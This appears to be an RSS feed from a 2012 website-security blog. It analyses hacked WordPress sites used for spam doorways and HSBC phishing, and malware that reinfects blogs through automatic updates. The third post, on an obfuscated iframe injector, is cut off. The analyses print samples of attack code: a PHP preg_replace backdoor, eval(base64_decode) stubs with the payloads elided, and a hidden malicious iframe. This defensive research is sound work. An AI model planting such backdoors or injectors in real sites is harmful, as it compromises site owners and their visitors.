<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" version="2.0">

<channel>
	<title>Unmask Parasites. Blog.</title>
	
	<link>http://blog.unmaskparasites.com</link>
	<description>Website insecurity by example</description>
	<lastBuildDate>Fri, 18 May 2012 18:09:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/unmaskparasites" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="unmaskparasites" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">unmaskparasites</feedburner:emailServiceId><feedburner:feedburnerHostname xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>Careless Webmasters as WordPress Hosting Providers for Spammers</title>
		<link>http://blog.unmaskparasites.com/2012/05/18/careless-webmasters-as-wordpress-hosting-providers-for-spammers/</link>
		<comments>http://blog.unmaskparasites.com/2012/05/18/careless-webmasters-as-wordpress-hosting-providers-for-spammers/#comments</comments>
		<pubDate>Fri, 18 May 2012 07:46:06 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[slimming]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[wp-config.php]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=880</guid>
		<description><![CDATA[Foks, a frequent contributer to my investigations, recently pointed me at an interesting black hat SEO campaign where thousands of hacked WordPress blogs and Joomla sites were used to create doorways promoting online stores selling various &#8220;slimming pills&#8221; and fake luxury goods.

During the last few years I saw many attacks where cyber criminals created large [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://foks.se/">Foks</a>, a frequent contributer to my investigations, recently pointed me at an interesting black hat SEO campaign where thousands of hacked WordPress blogs and Joomla sites were used to create doorways promoting online stores selling various &#8220;slimming pills&#8221; and fake luxury goods.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2012/05/doorway-blogs.jpg" border="0" alt="doorway blogs" /></div>
<p>During the last few years I saw many attacks where cyber criminals created large spammy sites in subdirectories of hacked legitimate sites. It&#8217;s an easy way to create millions of doorway pages on thousands of established domains with good reputation for free (owners of hacked sites pay for hosting, bandwidth and domains) &#8212; typical parasitic behavior.  Webmasters normally only visit pages they created themselves and rarely check what happens in subdirectories so they may not notice spammy sections for months. Sometimes such sections may be significantly larger than legitimate sections of hacked websites and attract much more search traffic.</p>
<p>The back end of such rogue sections is usually some doorway generating script along with rewrite rules in .htaccess  or a <a href="http://blog.unmaskparasites.com/2010/05/04/more-about-the-rogue-image-blogs-on-servage-network/">simple blogging engine like FlatPress</a> that doesn&#8217;t require a database. The only requirement of such solutions is PHP so they will work on most websites.</p>
<p>However this time spammers chose WordPress as a back end for their doorways. After all, if they hack a WordPress blog, the server is guranteed to be compatible with WordPress and all they need to do to install a new instance is get MySQL password from existing <strong>wp-config.php</strong> and chose a different table prefix for their WordPress database.<br />
<span id="more-880"></span></p>
<h3 id="steps">Here&#8217;s how the attack works</h3>
<h4 id="steps1">Step 1. Get admin passwords for WordPress or Joomla.</h4>
<p>Most likely they use <a href="http://blog.unmaskparasites.com/tag/brute-force/">brute force attacks</a> to guess the password.</p>
<h4 id="steps2">Step 2. Inject a backdoor</h4>
<p><span style="color: #333333;"><em>(Further, I will use WordPress for my examples as I know it better than Joomla and there are more hacked WP blogs than Joomla sites.)</em></span></p>
<p>Using the stolen credentials, log into WordPress admin interface and use the Theme Editor to inject a web shell into some existing plugin (usually Akismet).</p>
<h4 id="steps3">Step 3. Create a subdirectory</h4>
<p>Using the web shell, create a subdirectory for a new doorway blog. Typical names of such subdirectories are:</p>
<ul>
<li>/wp-content/upgrade/2012/</li>
<li>/wp-content/upgrade/new/</li>
<li>/wp-content/upgrade/css/</li>
<li>/wp-content/upgrade/luxury</li>
<li>/wp-content/themes/2012/</li>
<li>/wp-content/themes/new/</li>
<li>/wp-content/themes/slimming/</li>
<li>/wp-content/themes/luxury</li>
<li>/wp-content/plugins/css/</li>
<li>/wp-content/plugins/slimming/</li>
<li>/wp-content/plugins/luxury/</li>
<li>/wp-content/uploads/css/</li>
<li>/wp-content/uploads/php/2012/</li>
<li>/wp-content/uploads/php/luxury/</li>
<li>/wp-content/uploads/php/new/</li>
<li>/wp-content/uploads/slimming</li>
<li>/wp-content/slimming/</li>
<li>/media/2012/</li>
<li>/media/css/</li>
<li>/php/2012/</li>
<li>/php/new/</li>
<li>/php/luxury</li>
<li>/modules/css/</li>
<li>/api/luxury/</li>
<li>/include/luxury/</li>
<li>/includes/css</li>
</ul>
<p>As you can see, the names of subdirectories suggest that there shouldn&#8217;t be any web pages there.</p>
<h4 id="steps4">Step 4. Upload WordPress installation package</h4>
<p>Upload a WordPress installation package into that subdirectory and upzip it. (I found an unzip.php/un.php/ u.php web unzip utility with Chinese interface in those subdirectories of many hacked sites)</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2012/05/unzip-php.jpg" border="0" alt="unzip.php" /></div>
<h4 id="steps5">Step 5. Get MySQL credentials and install WordPress</h4>
<p>Get MySQL database credentials from <strong><em>wp-config.php</em></strong> of the hacked WP blog or  from <em><strong>configuration.php</strong></em> in case of Joomla. Enter these credentials into <strong><em>wp-config.php</em></strong> of the doorway blog. Choose some unique table prefix for the database of a doorway blog. And then complete the blog installation process by opening it&#8217;s &#8220;wp-admin/install.php&#8221; script.</p>
<h4 id="steps6">Step 6. Doorway theme</h4>
<p>Install a new WordPress theme that mimics interface of the  online store that this particular doorway works with.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2012/05/doorway-theme-mimic-online-store.jpg" border="0" alt="Doorway theme mimics online store" /></div>
<p>When you click on  any item, you get redirected to the corresponding section of the  promoted website.</p>
<p>Text of blog posts can be found two screens below the fold &#8211; it&#8217;s only for search engines.</p>
<h4 id="steps7">Step 7. Enable remote publishing</h4>
<p>Log into the new doorway blog and enable remote publishing. This option allows spammers to use automated tools to post new articles via XML-RPC protocol.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2012/05/remote-publishing-in-wordpress.gif" border="0" alt="Remote Publishing in WordPress" /></div>
<h4 id="steps8">Step 8.  Post spammy articles</h4>
<p>Here&#8217;s an excerpt from a log file that shows how they post using XML-RPC</p>
<p><code>218.29.97.165 - - [13/Apr/2012:20:19:18 +0200] "POST /wp-content/upgrade/new/wp-login.php HTTP/1.1" 302 - "http://DOMAIN-REMOVED/wp-content/upgrade/new/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;)"<br />
218.29.97.165 - - [13/Apr/2012:20:20:54 +0200] "POST /wp-content/upgrade/new/xmlrpc.php HTTP/1.1" 200 501 "-" "Apache XML RPC 3.1.3 (Sun HTTP Transport)"<br />
218.29.97.165 - - [13/Apr/2012:20:21:25 +0200] "POST /wp-content/upgrade/new/xmlrpc.php HTTP/1.1" 200 4300 "-" "Apache XML RPC 3.1.3 (Sun HTTP Transport)"<br />
218.29.97.165 - - [13/Apr/2012:20:25:21 +0200] "POST /wp-content/upgrade/2012/xmlrpc.php HTTP/1.1" 200 4324 "-" "Apache XML RPC 3.1.3 (Sun HTTP Transport)"<br />
218.29.97.165 - - [13/Apr/2012:20:35:31 +0200] "POST /wp-content/upgrade/new/xmlrpc.php HTTP/1.1" 200 893 "-" "Apache XML RPC 3.1.3 (Sun HTTP Transport)"</code></p>
<h3 id="seo">Black hat SEO scheme</h3>
<p>With various modification, this particular campaign has been active for at least a year now. However, most of the &#8220;slimming&#8221; blogs that I described here were created in March 2012.</p>
<p>At this point I found such doorway blogs on about <strong>3,000</strong> hacked sites with unique domain names.  There are usually <strong>1-4</strong> different doorway blogs on each domain &#8211; each blog promotes different online store.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2012/05/directory-listing-with-three-doorway-blogs.gif" border="0" alt="Directory listing with three doorway blogs" /></div>
<p>Here&#8217;s an incomplete list of the promoted sites:</p>
<ul>
<li><span style="color: #993300;">slimming-capsules .com</span></li>
<li><span style="color: #993300;">slimming2012 .com</span></li>
<li><span style="color: #993300;">361slim .com</span></li>
<li><span style="color: #993300;">botanicalslimworld .com</span></li>
<li><span style="color: #993300;">discount-luxury-sotre .com</span></li>
<li><span style="color: #993300;">cheap-luxury-shop .com</span></li>
<li><span style="color: #993300;">0bags .com</span></li>
<li><span style="color: #993300;">cheap-luxury-store .info</span></li>
<li><span style="color: #993300;">brandhandbagsonline .com</span></li>
</ul>
<p>Each blog (created in March) has <strong>200-500</strong> posts, which means about a <strong>million</strong> of doorway pages targeted for all sorts of keyword combinations on &#8220;diet pills&#8221; and &#8220;luxury&#8221; topics.</p>
<p>The posts are a keyword-rich gibberish with cross-links to doorway blogs on other domains.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2012/05/typical-spammy-blog-post.gif" border="0" alt="Typical spammy blog post" /></div>
<p>Their only purpose is to get indexed by search engines so that    doorways rank well for targeted keywords. Apperently, this works quite    well. I can see many doorways on first pages of Google search    results for most searches I checked (three words or more). E.g. [<span style="color: #993300;"><em>buy meizitang in dallas</em></span>], [<span style="color: #993300;"><em>botanical slimming capsule australia</em></span>], [<span style="color: #993300;"><em>Givenchy Outlet in Abu Dhabi UAE</em></span>], [<span style="color: #993300;"><em>buy cheap Fendi Boston</em></span>]</p>
<p>A few days ago I reported those blogs to Google and they have already removed many of them from their index. I hope Google will figure out a way to detect such blogs itself and won&#8217;t index doorways in the first place leaving spammers less incentive to hack legitimate sites.</p>
<h3 id="chinese">Chinese trace</h3>
<p>Unlike <a href="http://blog.unmaskparasites.com/tag/black-hat-seo/">black hat SEO campaigns</a> that I blogged about before, this one has strong Chinese traces. It promotes sites that sell Chinese goods and belong to Chinese. For example all  &#8220;slimming&#8221; and &#8220;fake luxury&#8221; sites feature the same Western Union payment recipient:</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2012/05/western-union-payment-information.gif" border="0" alt="Western Union payment information" /></div>
<p>Moreover, doorways use a counter script of the Chinese <span style="color: #993300;">51.la</span> service. Unzip scripts found on hacked sites have Chinese user interface. And IP addresses of people who logged into WordPress admin interface of the doorway blogs are also Chinese (e.g. 218.29.97.165).</p>
<h3 id="phishing">Phishing</h3>
<p>It is also worth noting that not only do cyber criminals use those hacked site for black hat SEO, but they also place phishing files there.</p>
<p>For example, this HSBC phishing form was found under <em>wp-content/plugins/akismet/</em> (in subdirectories with names like <span style="color: #993300;"><em>0nl</em></span>, <span style="color: #993300;"><em>ama</em></span>, <span style="color: #993300;"><em>atu</em></span>, <span style="color: #993300;"><em>b4t</em></span>, etc.)</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2012/05/hsbc-phishing-form.gif" border="0" alt="HSBC phishing form" /></div>
<p>The phishing files are:</p>
<ul>
<li><span style="color: #993300;"><em>index.php</em></span> &#8211; generates an authentic looking query string  and redirects to <em>hsbcstart.php</em></li>
<li><span style="color: #993300;"><em>hsbcstart.php</em></span> &#8211; mimics a login screen and asks to enter your user ID. Then redirects to <em>continue.php</em></li>
<li><span style="color: #993300;"><em>continue.php</em></span> &#8211; asks for your personal and account details (including credit card number and its PIN code)</li>
<li><span style="color: #993300;"><em>last.php</em></span> &#8211; this script sends the entered details to the following emails: <span style="color: #993300;">newforuk@gmail.com</span> and <span style="color: #993300;">halisanta1@gmail.com</span> and then redirects to a real HSBC home page.</li>
</ul>
<p>If you ever considered buying something from online stores that sell some fake stuff, generic pills or pirated software &#8212; think again. Now you know that you are buying from the same people who try to steal your banking details. All their assurance that &#8220;<em>safety of your personal information is extremely important to them</em>&#8221; along with fake &#8220;Better Business Bureau&#8221; and fake security seals are just tricks to make feel unalert while being robbed.</p>
<h3 id="webmasters">To webmasters</h3>
<p>Your site, no matter how big or small it is, is a valuable resource for cyber criminals. As you can see, they can host doorways and phishing pages there. And these are only two of <a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/#more-602">many more site abuse scenarios</a>. Be prepared to protect your site and regularly check it for security issues.</p>
<ul>
<li>Choose strong passwords for your web applications (blogs, CMS, forums, etc) and don&#8217;t use default names such as &#8220;admin&#8221; for application administrators.</li>
<li>Monitor changes in your server file system. Hackers like deep subdirectories because many webmasters never check what happens there.</li>
<li>Regularly check output of the Google&#8217;s [ <strong>site:<span style="color: #0000ff;">your-domain-here.com</span></strong> ] searches. You might find that Google has indexed pages that should not belong to your site.</li>
<li>You will also find very useful reports in the <strong>Traffic</strong> section of <a href="http://www.google.com/webmasters/tools/">Google Webmaster Tools</a>. Unlike Google Analytics, Webmaster Tools provide reports for all site pages, not only pages with your tracking code, which is important since hackers won&#8217;t install you GA tracking code in their doorways.
<ul>
<li><strong>Search Queries</strong> &#8211; you can spot queries irrelevant to you site.</li>
<li><strong>Links to Your Site</strong> &#8211; you can find suspicious incoming links here.</li>
<li><strong>Internal Links</strong> &#8211; this report can help reveal rogue sections of your site.</li>
</ul>
</li>
<li>Don&#8217;t forget about raw access logs &#8212; they are you best friends if things go bad. Even if you don&#8217;t know how to work with logs, you can find a professional that will be able to use them to identify malicious files and security holes on your server so that you can properly clean up and harden it. Log analysis can also help reveal &#8220;alien&#8221; sections and pages on your site.<br />
On many shared hosts, access logs are disabled, so it&#8217;s a good idea to check if they are enabled for your site now. (In case of cPanel you will find this setting under <strong>Logs-&gt;Raw Access Logs</strong>)</li>
</ul>
<p><span style="color: #333333;">##</span><br />
Your comments and additional information are welcome.</p>
<p><strong><span style="color: #888888;">Related posts:</span></strong></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2010/05/04/more-about-the-rogue-image-blogs-on-servage-network/">More About the Rogue Image Blogs on Servage Network…</a></li>
<li><a href="http://blog.unmaskparasites.com/2012/03/01/weak-passwords-and-tainted-wordpress-widgets/">Weak Passwords and Tainted WordPress Widgets</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/01/26/bety-php-hack-part-2-black-hats-in-action/">Bety.php Hack. Part 2. Black Hats in Action</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/">Hacked WordPress Blogs Poison Google Images</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=CiIw7P5gWEc:qsgrrs2R7WY:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=CiIw7P5gWEc:qsgrrs2R7WY:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=CiIw7P5gWEc:qsgrrs2R7WY:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=CiIw7P5gWEc:qsgrrs2R7WY:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2012/05/18/careless-webmasters-as-wordpress-hosting-providers-for-spammers/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Malware Piggybacks on Automatic WordPress Updates</title>
		<link>http://blog.unmaskparasites.com/2012/05/02/malware-piggybacks-on-automatic-wordpress-updates/</link>
		<comments>http://blog.unmaskparasites.com/2012/05/02/malware-piggybacks-on-automatic-wordpress-updates/#comments</comments>
		<pubDate>Wed, 02 May 2012 18:44:23 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[redirects]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=870</guid>
		<description><![CDATA[Most WordPress bloggers know the &#8220;Always keep your WordPress blog up-to-date&#8221; mantra. To make upgrades painless, WordPress developers introduced the &#8220;Automatic Update&#8221; features in version 2.7. A blog admin only needs to visit the &#8220;Update WordPress&#8221; page (Tools -&#62; Update) and click on the &#8220;Update Automatically&#8221; button. That&#8217;s it! Easy!
Sometimes I see how webmasters misinterpret [...]]]></description>
			<content:encoded><![CDATA[<p>Most WordPress bloggers know the &#8220;<em>Always keep your WordPress blog up-to-date</em>&#8221; mantra. To make upgrades painless, WordPress developers introduced the &#8220;<a href="http://codex.wordpress.org/Updating_WordPress#Automatic_Update">Automatic Update</a>&#8221; features in version 2.7. A blog admin only needs to visit the &#8220;Update WordPress&#8221; page (Tools -&gt; Update) and click on the &#8220;Update Automatically&#8221; button. That&#8217;s it! Easy!</p>
<p>Sometimes I see how webmasters misinterpret the importance of upgrades for WordPress security. They expect that if they upgrade a hacked blog, it will immediately become clean and secure. Unfortunately it doesn&#8217;t work this way. Upgrades can only clean core WordPress files, leaving backdoors, infected themes, plugins and database records intact. That&#8217;s why it is important to clean up your site before the upgrade.</p>
<p>Moreover, a few days ago I came across a new massive infection (more than 1,000 currently known infected blogs) that hijacks the &#8220;Automatic Update&#8221; feature and makes it the event that triggers blog re-infection.<br />
<span id="more-870"></span><br />
This attack began just before the WordPress 3.3.2 release, and many blogs now actively use the &#8220;Automatic Update&#8221; option to upgrade their blogs to this new version. For some of them, the upgrades come with a malicious extra.</p>
<p>Here&#8217;s a typical message on Safe Browsing diagnostic of infected site:</p>
<blockquote><p>Malicious software is hosted on 8 domain(s), including <strong><span style="color: #800000;">riotorio .com</span></strong>/, <span style="color: #800000;">vet46.osa .pl</span>/, <span style="color: #800000;">vetb3.osa .pl</span>/.</p>
<p>5 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including <span style="color: #800000;"><strong>berega .in</strong></span>/, <span style="color: #800000;">bingotobingo .com</span>/, <span style="color: #800000;">cheap-royal-canadian-pill .com</span>/.</p></blockquote>
<p>Infected sites redirect search traffic to</p>
<p><span style="color: #800000;">hxxp://<strong>berega .in</strong>/?site=&lt;site id&gt;&amp;q=&lt;search query&gt;&amp;searchEngine=&lt;engine id&gt;</span><br />
<span style="color: #800000;">hxxp://<strong>zizigoba .in</strong>/?site=&lt;site id&gt;&amp;q=&lt;search query&gt;&amp;searchEngine=</span><span style="color: #800000;">&lt;engine id&gt;</span><span style="color: #800000;"> </span><br />
<span style="color: #800000;">hxxp://<strong>vivizaza .be</strong>/?site=&lt;site id&gt;8&amp;q=</span><span style="color: #800000;">&lt;search query&gt;</span><span style="color: #800000;">&amp;searchEngine=</span><span style="color: #800000;">&lt;engine id&gt;</span></p>
<p>and then to sites like</p>
<p><span style="color: #800000;">hxxp://<strong>riotorio .com</strong>/search/?q=&lt;search query&gt;<br />
hxxp://<strong>lazgosearch .com</strong>/search?_t=1&amp;q=&lt;search query&gt;<br />
http://<strong>gabazasearch .com</strong>/?_t=1&amp;q=&lt;search query&gt;</span></p>
<p>Then via several layers of affiliate and pay-per-click redirectors (that include <em><span style="color: #800000;">184.171.169.132/click.php</span></em>, <span style="color: #800000;"><em>clicks.thespecialsearch.com</em></span>,  <span style="color: #800000;"><em>ck.ads.affinity.com</em></span>, <span style="color: #800000;"><em>ad.zanox.com/ppc/</em></span>) you end up on various e-commerce sites or low quality PPC search result aggregators.</p>
<p>Here&#8217;s how this attack works:</p>
<h3>wp-settings.php</h3>
<p>In <strong>wp-settings.php</strong> file, there is the following injected code:</p>
<p><code>// For an advanced caching plugin to use. Uses a static drop-in because you would only want one.<br />
// Start cache settings<br />
<strong>eval(base64_decode(</strong>'...long unreadable string here...'));<br />
// Finish cache settings<br />
// Start cache settings<br />
// Finish cache settings</code></p>
<p>This code is responsible for malicious redirects. You can find unencrypted code here: <a href="http://pastebin.com/mPePkZ8R" target="_blank">http://pastebin.com/mPePkZ8R</a></p>
<p>If you read PHP, you&#8217;ll notice three interesting things in the code:</p>
<p>1. It sets a cookie &#8220;<strong>_tr</strong>&#8221; and only redirects if your browser doesn&#8217;t have this cookie (first time visitor from a search engine) &#8211; that&#8217;s why it may be hard to reproduce the redirects.</p>
<p>2. It works in two modes (depending on server capabilities): In mode &#8220;2&#8243; it just modifies the &#8220;Location&#8221; HTTP header to redirect a visitor to a third party site.<br />
In mode &#8220;1&#8243;, it makes a request to a remove server and then returns the response of that remove server. This remote server can save your IP address and you won&#8217;t be able to reproduce redirects even if you remove all cookies.</p>
<p>3. At the top of the code you can see this strange block:</p>
<p><code>if (isset($_REQUEST['cadv']) &amp;&amp; isset($_REQUEST['gadv'])) {<br />
$c = <strong>$_POST['cadv']</strong>;<br />
$c = str_replace("\\\\", "\\", $c);<br />
$g = <strong>$_POST['gadv'];</strong><br />
$g = str_replace("\\\"", "\"", $g);<br />
$r = <strong>preg_replace</strong>("$c", $g, 'sss 4');<br />
die();<br />
}</code></p>
<p>It adds a backdoor functionality to this malicious code. Using specially crafted <strong>cadv</strong> and <strong>gadv</strong> paramers of POST requests and the <strong>PHP PREG_REPLACE_EVAL</strong> modifier in the <strong>preg_replace</strong> function, it is possible to execute arbitrary PHP code on compromised servers.</p>
<h3>Update.php</h3>
<p>Another changed file is <strong>wp-admin/includes/update.php</strong> where hackers modified the &#8220;<strong>wp_update_core</strong>&#8221; function:</p>
<p><code>// Start cache settings<br />
$ee = $upgrader-&gt;upgrade($current);<br />
<strong>define('WPA_SILENCE', '1');</strong><br />
<strong>eval(base64_decode</strong>("...long unreadable string here..."));<br />
return $ee;<br />
// Finish cache settings</code></p>
<p>instead of the original</p>
<p><code>return $upgrader-&gt;upgrade($current);</code></p>
<p>line.</p>
<p>The decoded version can be found on Pastebin: <a href="http://pastebin.com/v7SvS4yW">http://pastebin.com/v7SvS4yW</a></p>
<p>What this encrypted piece of code does is inject the malicious code into <strong>wp-settings.php</strong> file preserving its modification date.</p>
<h3>Hijacked Automatic Updates</h3>
<p>But why is it in <strong>wp-admin/includes/update.php</strong>? Is it just a random file that hackers use for this reinfection code? Of course not. This file and specifically the &#8220;<strong>wp_update_core</strong>&#8221; function is used by the WordPress <strong>Automatic Update</strong> feature.</p>
<p>Behind the scenes, the &#8220;<strong>wp_update_core</strong>&#8221; function checks for available updates, downloads new files, replaces old files and does all the rest stuff required to successfully complete WordPress upgrades. Your blog is supposed to be fully updated just before this function returns. At that moment all infected core WordPress files (such as <strong>wp-settings.php</strong>) should be replaced with new clean copies. And this is exactly the moment when the malicious code in the &#8220;<strong>wp_update_core</strong>&#8221; function begins to work. It reinfects the just-updated and new <strong>wp-settings.php</strong> file.</p>
<p>So if you thought that WordPress upgrade could only make you blog more clean &#8211; you were wrong. If your blog was infected before the upgrade and hasn&#8217;t been completely cleaned up, the upgrade itself may even reinfect files that were clean before the upgrade.</p>
<h3>Summary</h3>
<p>1. WordPress upgrades are not a silver bullet. They can only improve your blog security if it was 100% clean before the upgrade. Otherwise you still have to invest your time in resolving all current security issues.</p>
<p>2. WordPress developers should consider adding some integrity control into their system (e.g. checksum control for core WP files) and warn webmasters (blog administrators) if core files change.</p>
<p>3. This particular attack hijacks only automatic WP upgrades. Manual upgrades and upgrades via SVN are still completely safe. By the way, not only are <a href="http://codex.wordpress.org/Installing/Updating_WordPress_with_Subversion#Updating_to_a_New_Stable_Version">SVN updates</a> safe but they are also nearly as simple as automatic updates (one simple command) and provide built-in integrity control, so you can easily identify all changed and potentially infected code WordPress files and have them reverted to their original state.</p>
<p><span id="update" style="color: #333333;"><em><strong>Update (May 4, 2012):</strong> I can see that some bloggers misinterpret my article and conclude that the Automatic Update feature of WordPress is not safe. That&#8217;s not correct. The Automatic Update feature itself is completely safe if your WordPress blog is <strong>not</strong> compromised. But when your blog <strong>is already hacked</strong>, hackers can hijack any feature and add malicious functionality to it. In this particular case, they decided to modify the auto-update feature to <strong>restore</strong> malicious code in wp-settings.php.</em></span></p>
<h3>Request for information</h3>
<p>If your blog is affected by this particular attack and you have raw access logs for at least one week, please <a href="http://blog.unmaskparasites.com/contact/">contact me</a>. Your logs can help me learn more about this attack: what was the original security hole, how hackers use the backdoor, etc.</p>
<p>Your comments are welcome too.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2012/03/01/weak-passwords-and-tainted-wordpress-widgets/">Weak Passwords and Tainted WordPress Widgets</a></li>
<li><a href="http://blog.unmaskparasites.com/2012/03/07/you-need-to-pay-for-this-crypt-trial-version-of-malware/">You Need to Pay For This Crypt. Trial Version of Malware?</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/11/09/tmpwp_inc-or-not-your-typical-wordpress-attack/">/tmp/wp_inc or Not Your Typical WordPress Attack</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=OHAOTNH8wOU:p9lh3mwZEvI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=OHAOTNH8wOU:p9lh3mwZEvI:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=OHAOTNH8wOU:p9lh3mwZEvI:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=OHAOTNH8wOU:p9lh3mwZEvI:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2012/05/02/malware-piggybacks-on-automatic-wordpress-updates/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>You Need to Pay For This Crypt. Trial Version of Malware?</title>
		<link>http://blog.unmaskparasites.com/2012/03/07/you-need-to-pay-for-this-crypt-trial-version-of-malware/</link>
		<comments>http://blog.unmaskparasites.com/2012/03/07/you-need-to-pay-for-this-crypt-trial-version-of-malware/#comments</comments>
		<pubDate>Wed, 07 Mar 2012 13:25:03 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[obfuscated script]]></category>
		<category><![CDATA[ToolsPack]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=868</guid>
		<description><![CDATA[According to the Betteridge&#8217;s Law of Headlines &#8220;Any headline which ends in a question mark can be answered by the word &#8216;no&#8217;&#8220;. Nonetheless, I use this type of a headline for this post because this was the question I asked myself when I came across the following attack.

A few days ago I began to notice [...]]]></description>
			<content:encoded><![CDATA[<p>According to the <a href="http://en.wikipedia.org/wiki/Betteridge%27s_Law_of_Headlines">Betteridge&#8217;s Law of Headlines</a> &#8220;<em>Any headline which ends in a question mark can be answered by the word &#8216;no&#8217;</em>&#8220;. Nonetheless, I use this type of a headline for this post because this was the question I asked myself when I came across the following attack.<br />
<span id="more-868"></span><br />
A few days ago I began to notice many websites where Google reported &#8220;<a href="http://www.google.com/safebrowsing/diagnostic?site=assexyas.com/">assexyas .com</a>&#8221; as a source of the infection (at this point Google reports 6148 infected sites). They all contained quite a prevalent type of a malicious script (such scripts have been in use for few a few months)</p>
<p><code>if(window.document)try{location(1 2);} catch(qqq){zz='eva l'; ss=[]; aa=[]+0;aaa=0+[]; if(aa.indexOf(aaa)===0){f='fro'+'m'+'C'+'h'+'ar';f+='Code';} ee='e<strong>...skipped...</strong>5a3.5a3.5a61.5".split("a");for(i=0;-n.length&lt;-i;i++){j=i;ss=ss+String[f](-h*(2-1+1*n[j]));} if(1)q =ss; if(zz)e (q);</code></p>
<p>that injected an invisible iframe</p>
<p><code>&lt;ifr ame src='hxxp://tds22 .<strong>assexyas .com</strong>/stds/go.php?sid=1' width='<strong>10</strong>' height='<strong>10</strong>' style='visibility:<strong>hidden</strong>;position:absolute;left:0;top:0;'&gt;&lt;/ifra me&gt;</code></p>
